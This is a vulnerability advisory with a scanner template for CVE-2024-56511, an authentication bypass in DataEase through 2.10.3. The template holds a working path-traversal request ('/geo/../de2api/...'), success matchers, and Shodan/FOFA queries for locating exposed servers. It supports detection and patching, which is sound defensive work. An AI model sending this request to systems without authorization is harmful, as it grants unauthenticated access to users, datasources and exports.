DataEase versions up to and including 2.10.3 contain an authentication bypass in `io.dataease.auth.filter.TokenFilter`. The filter passes the raw, unnormalized request URI to `WhitelistUtils.match()`, which only checks for whitelisted prefixes such as `/geo/`, `/customGeo/`, `/map/`, `/oauth2/`, and `/websocket` without resolving `..` segments. By prepending a whitelisted prefix and traversing back into the configured `server.servlet.context-path`, an attacker bypasses the filter while Tomcat still routes the request to the genuine, protected controller. This collapses the entire `/de2api` surface (user management, datasources, dashboards, exports) into unauthenticated access.
PoC
id: CVE-2024-56511
info:
name: DataEase < 2.10.4 - Authentication Bypass via Whitelist Path Traversal
author: ChrisJr404
severity: critical
description: |
DataEase versions up to and including 2.10.3 contain an authentication bypass in `io.dataease.auth.filter.TokenFilter`. The filter passes the raw, unnormalized request URI to `WhitelistUtils.match()`, which only checks for whitelisted prefixes such as `/geo/`, `/customGeo/`, `/map/`, `/oauth2/`, and `/websocket` without resolving `..` segments. By prepending a whitelisted prefix and traversing back into the configured `server.servlet.context-path`, an attacker bypasses the filter while Tomcat still routes the request to the genuine, protected controller. This collapses the entire `/de2api` surface (user management, datasources, dashboards, exports) into unauthenticated access.
impact: |
An unauthenticated attacker can reach every `/de2api` endpoint as if authenticated, exposing user management, datasource configuration, dashboards, and exports. Chained with CVE-2025-32966 (H2 JDBC RCE) the bypass becomes pre-auth remote code execution.
remediation: |
Upgrade to DataEase 2.10.4 or later, which normalizes the request path before whitelist matching.
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-9f69-p73j-m73x
- https://nvd.nist.gov/vuln/detail/CVE-2024-56511
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-56511
cwe-id: CWE-289
epss-score: 0.44458
epss-percentile: 0.98698
metadata:
verified: true
max-request: 1
vendor: dataease
product: dataease
shodan-query: http.title:"DataEase"
fofa-query: title="DataEase"
tags: cve,cve2024,dataease,auth-bypass,traversal
http:
- raw:
- |+
GET /geo/../de2api/datasource/types HTTP/1.1
Host: {{Hostname}}
unsafe: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"code\":0", "mysql", "sqlServer", "oracle")'
condition: and
# digest: 4b0a0048304602210095be2477509cfdd8ff2f1774a5281deff61d1e270f57dc2e794e0defea267c77022100b3ce0eacaa32a76c3043d20cefb6e775cd171fa2141dffc349c15bc2e7afe260:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.